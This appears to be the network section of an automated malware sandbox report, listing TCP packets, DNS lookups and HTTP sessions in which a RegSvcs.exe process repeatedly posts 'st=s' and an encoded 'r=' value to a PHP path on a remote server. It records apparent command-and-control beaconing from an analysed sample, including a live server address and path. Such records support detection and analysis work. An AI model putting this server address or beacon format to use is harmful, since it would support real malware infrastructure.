Jan 8, 2025 08:44:58.567358971 CET	80	56134	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:58.568416119 CET	56134	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:00.198592901 CET	56134	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:00.198978901 CET	56135	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:00.203869104 CET	80	56134	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:00.203886032 CET	80	56135	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:00.203923941 CET	56134	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:00.203999043 CET	56135	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:00.204128981 CET	56135	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:00.208914995 CET	80	56135	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:00.904352903 CET	80	56135	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:00.905004978 CET	56135	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:02.416296005 CET	56135	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:02.416563988 CET	56136	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:02.421403885 CET	80	56136	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:02.421418905 CET	80	56135	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:02.421506882 CET	56136	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:02.421534061 CET	56135	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:02.421617031 CET	56136	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:02.426333904 CET	80	56136	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:03.143517971 CET	80	56136	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:03.143636942 CET	56136	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:04.776004076 CET	56136	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:04.776005983 CET	56137	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:04.780962944 CET	80	56137	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:04.781032085 CET	80	56136	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:04.784404039 CET	56136	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:04.784405947 CET	56137	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:04.784568071 CET	56137	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:04.789303064 CET	80	56137	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:05.482996941 CET	80	56137	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:05.483055115 CET	56137	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:06.995410919 CET	56138	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:06.995451927 CET	56137	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:07.000334978 CET	80	56138	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:07.000432014 CET	56138	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:07.000546932 CET	80	56137	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:07.000576973 CET	56138	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:07.000602961 CET	56137	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:07.005681038 CET	80	56138	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:07.716079950 CET	80	56138	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:07.716156006 CET	56138	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:09.338360071 CET	56138	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:09.338514090 CET	56139	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:09.343444109 CET	80	56139	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:09.343460083 CET	80	56138	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:09.346700907 CET	56138	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:09.346715927 CET	56139	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:09.346865892 CET	56139	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:09.351654053 CET	80	56139	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:10.053905964 CET	80	56139	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:10.053982973 CET	56139	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:11.557869911 CET	56139	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:11.558233023 CET	56140	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:11.562900066 CET	80	56139	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:11.562988043 CET	56139	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:11.563128948 CET	80	56140	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:11.563199043 CET	56140	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:11.563364983 CET	56140	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:11.568159103 CET	80	56140	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:12.274687052 CET	80	56140	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:12.274753094 CET	56140	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:13.911859989 CET	56140	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:13.915224075 CET	56141	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:13.916858912 CET	80	56140	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:13.916917086 CET	56140	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:13.920124054 CET	80	56141	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:13.920190096 CET	56141	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:13.924757957 CET	56141	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:13.929536104 CET	80	56141	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:14.620548964 CET	80	56141	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:14.623132944 CET	56141	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:16.135870934 CET	56141	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:16.136445999 CET	56142	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:16.140866041 CET	80	56141	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:16.140916109 CET	56141	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:16.141287088 CET	80	56142	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:16.141345024 CET	56142	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:16.141515970 CET	56142	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:16.146943092 CET	80	56142	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:16.834738016 CET	80	56142	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:16.834867001 CET	56142	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:18.464109898 CET	56142	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:18.464509010 CET	56143	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:18.469249010 CET	80	56142	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:18.469297886 CET	56142	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:18.469356060 CET	80	56143	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:18.469427109 CET	56143	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:18.469571114 CET	56143	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:18.474298000 CET	80	56143	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:19.163832903 CET	80	56143	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:19.166585922 CET	56143	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:20.683135033 CET	56143	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:20.683435917 CET	56144	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:20.688255072 CET	80	56144	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:20.688370943 CET	56144	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:20.688467979 CET	56144	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:20.688468933 CET	80	56143	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:20.688782930 CET	56143	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:20.693299055 CET	80	56144	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:21.393930912 CET	80	56144	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:21.394059896 CET	56144	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:23.051909924 CET	56144	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:23.052377939 CET	56145	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:23.058892012 CET	80	56145	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:23.058907032 CET	80	56144	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:23.059176922 CET	56145	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:23.059185028 CET	56144	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:23.063477039 CET	56145	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:23.069740057 CET	80	56145	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:23.755655050 CET	80	56145	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:23.755706072 CET	56145	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:25.260931015 CET	56145	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:25.260957003 CET	56146	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:25.266678095 CET	80	56146	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:25.266825914 CET	80	56145	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:25.268481970 CET	56145	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:25.268487930 CET	56146	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:25.270421028 CET	56146	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:25.276154995 CET	80	56146	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:25.968200922 CET	80	56146	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:25.968264103 CET	56146	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:27.589001894 CET	56146	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:27.589339972 CET	56147	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:27.594851971 CET	80	56146	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:27.594867945 CET	80	56147	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:27.594912052 CET	56146	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:27.594948053 CET	56147	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:27.595093966 CET	56147	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:27.600450993 CET	80	56147	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:28.306273937 CET	80	56147	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:28.306334019 CET	56147	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:29.823234081 CET	56147	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:29.823617935 CET	56148	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:29.828263998 CET	80	56147	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:29.828315020 CET	56147	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:29.828375101 CET	80	56148	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:29.828449965 CET	56148	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:29.828583002 CET	56148	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:29.833427906 CET	80	56148	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:30.519975901 CET	80	56148	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:30.523001909 CET	56148	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:32.157756090 CET	56148	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:32.158155918 CET	56149	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:32.162925005 CET	80	56148	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:32.162974119 CET	80	56149	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:32.163007021 CET	56148	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:32.163084984 CET	56149	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:32.163258076 CET	56149	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:32.168062925 CET	80	56149	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:32.853739977 CET	80	56149	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:32.853818893 CET	56149	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:34.370927095 CET	56149	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:34.371385098 CET	56150	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:34.376010895 CET	80	56149	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:34.376068115 CET	56149	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:34.376153946 CET	80	56150	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:34.376219988 CET	56150	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:34.376355886 CET	56150	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:34.381160021 CET	80	56150	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:35.080810070 CET	80	56150	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:35.080921888 CET	56150	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:36.719044924 CET	56150	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:36.724046946 CET	80	56150	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:36.724317074 CET	56150	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:36.737554073 CET	56151	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:36.742491961 CET	80	56151	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:36.742695093 CET	56151	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:36.747241020 CET	56151	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:36.752137899 CET	80	56151	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:37.467457056 CET	80	56151	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:37.467662096 CET	56151	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:38.979352951 CET	56152	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:38.979353905 CET	56151	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:38.984525919 CET	80	56152	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:38.984724998 CET	80	56151	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:38.986534119 CET	56151	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:38.986586094 CET	56152	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:38.986635923 CET	56152	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:38.991852045 CET	80	56152	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:39.706770897 CET	80	56152	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:39.706831932 CET	56152	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:41.338344097 CET	56152	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:41.340399981 CET	56153	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:41.343384027 CET	80	56152	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:41.344497919 CET	56152	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:41.345242023 CET	80	56153	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:41.348551035 CET	56153	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:41.348551035 CET	56153	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:41.353419065 CET	80	56153	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:42.036473036 CET	80	56153	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:42.036535025 CET	56153	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:43.542963028 CET	56153	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:43.543330908 CET	56154	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:43.548032999 CET	80	56153	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:43.548079014 CET	56153	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:43.548136950 CET	80	56154	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:43.548199892 CET	56154	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:43.548326015 CET	56154	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:43.553054094 CET	80	56154	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:44.265183926 CET	80	56154	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:44.265260935 CET	56154	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:45.901335001 CET	56154	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:45.901662111 CET	56155	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:45.907402039 CET	80	56154	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:45.907414913 CET	80	56155	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:45.907465935 CET	56154	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:45.907505989 CET	56155	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:45.907608032 CET	56155	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:45.912374020 CET	80	56155	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:46.605041981 CET	80	56155	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:46.606502056 CET	56155	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:48.119791031 CET	56155	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:48.120057106 CET	56156	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:48.124875069 CET	80	56156	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:48.124938011 CET	56156	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:48.124970913 CET	80	56155	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:48.125010014 CET	56155	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:48.125080109 CET	56156	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:48.129782915 CET	80	56156	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:48.840301991 CET	80	56156	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:48.840370893 CET	56156	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:50.464004040 CET	56156	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:50.464528084 CET	56157	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:50.469038010 CET	80	56156	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:50.469093084 CET	56156	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:50.469398022 CET	80	56157	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:50.469461918 CET	56157	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:50.469605923 CET	56157	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:50.474451065 CET	80	56157	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:51.176527977 CET	80	56157	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:51.180517912 CET	56157	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:52.697676897 CET	56157	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:52.698421955 CET	56158	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:52.703299046 CET	80	56158	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:52.703399897 CET	56158	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:52.703536987 CET	56158	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:52.707063913 CET	80	56157	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:52.708370924 CET	80	56158	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:52.708477020 CET	56157	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:53.412576914 CET	80	56158	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:53.412687063 CET	56158	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:55.047502995 CET	56158	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:55.047954082 CET	56159	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:55.052614927 CET	80	56158	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:55.052753925 CET	80	56159	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:55.052794933 CET	56158	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:55.054538965 CET	56159	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:55.055404902 CET	56159	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:55.060220957 CET	80	56159	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:55.740772963 CET	80	56159	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:55.740838051 CET	56159	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:57.245979071 CET	56159	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:57.248430014 CET	56160	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:57.251009941 CET	80	56159	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:57.251167059 CET	56159	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:57.253315926 CET	80	56160	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:57.256526947 CET	56160	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:57.256735086 CET	56160	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:57.261533976 CET	80	56160	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:57.976516962 CET	80	56160	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:57.976588964 CET	56160	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:59.604540110 CET	56160	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:59.604768991 CET	56161	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:59.609703064 CET	80	56161	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:59.609725952 CET	80	56160	176.113.115.131	192.168.2.4
Jan 8, 2025 08:45:59.609764099 CET	56161	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:59.609797955 CET	56160	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:59.609930038 CET	56161	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:45:59.614876032 CET	80	56161	176.113.115.131	192.168.2.4
Jan 8, 2025 08:46:00.308507919 CET	80	56161	176.113.115.131	192.168.2.4
Jan 8, 2025 08:46:00.308569908 CET	56161	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:46:01.822839975 CET	56161	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:46:01.823395014 CET	56162	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:46:01.827853918 CET	80	56161	176.113.115.131	192.168.2.4
Jan 8, 2025 08:46:01.827900887 CET	56161	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:46:01.828178883 CET	80	56162	176.113.115.131	192.168.2.4
Jan 8, 2025 08:46:01.828269005 CET	56162	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:46:01.828758955 CET	56162	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:46:01.833525896 CET	80	56162	176.113.115.131	192.168.2.4
Jan 8, 2025 08:46:02.527359962 CET	80	56162	176.113.115.131	192.168.2.4
Jan 8, 2025 08:46:02.527470112 CET	56162	80	192.168.2.4	176.113.115.131

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 08:42:41.233341932 CET	53	55514	162.159.36.2	192.168.2.4
Jan 8, 2025 08:42:41.700047016 CET	53	57110	1.1.1.1	192.168.2.4

HTTP Request Dependency Graph

176.113.115.131

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:02.113203049 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:02.811652899 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:04.327261925 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:42:05.045120955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:06.683646917 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:42:07.377537966 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:42:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:42:08.888348103 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
